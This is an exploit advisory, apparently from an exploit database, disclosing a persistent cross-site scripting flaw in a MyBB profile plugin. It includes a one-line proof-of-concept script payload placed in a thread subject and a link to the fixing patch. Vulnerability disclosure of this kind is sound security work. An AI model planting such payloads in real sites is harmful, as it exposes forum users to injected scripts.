MyBB Last Users Threads in Profile Plugin 1.2 - Persistent Cross-Site Scripting Vulnerability

# Exploit Title: MyBB Last User's Threads in Profile Plugin v1.2 - Persistent XSS
# Author: 0xB9
# Contact: luxorforums.com/User-0xB9 or 0xB9[at]protonmail.com
# Software Link: https://community.mybb.com/mods.php?action=view&pid=910
# Version: v1.2
# Tested on: Ubuntu 17.10
 
 
1. Description:
Display last threads in user profile.
  
 
2. Proof of Concept:
 
Persistent XSS
- Create a thread with the following subject <p """><SCRIPT>alert("XSS")</SCRIPT>">
- Now visit your profile to see the alert.
 
 
3. Solution:
 
Patch: https://github.com/vintagedaddyo/MyBB_Plugin_Last-User-s-Threads-in-Profile/commit/5e3b81450d0bf7935885db2622f1a42e5961258d

#  0day.today [2018-04-04]  #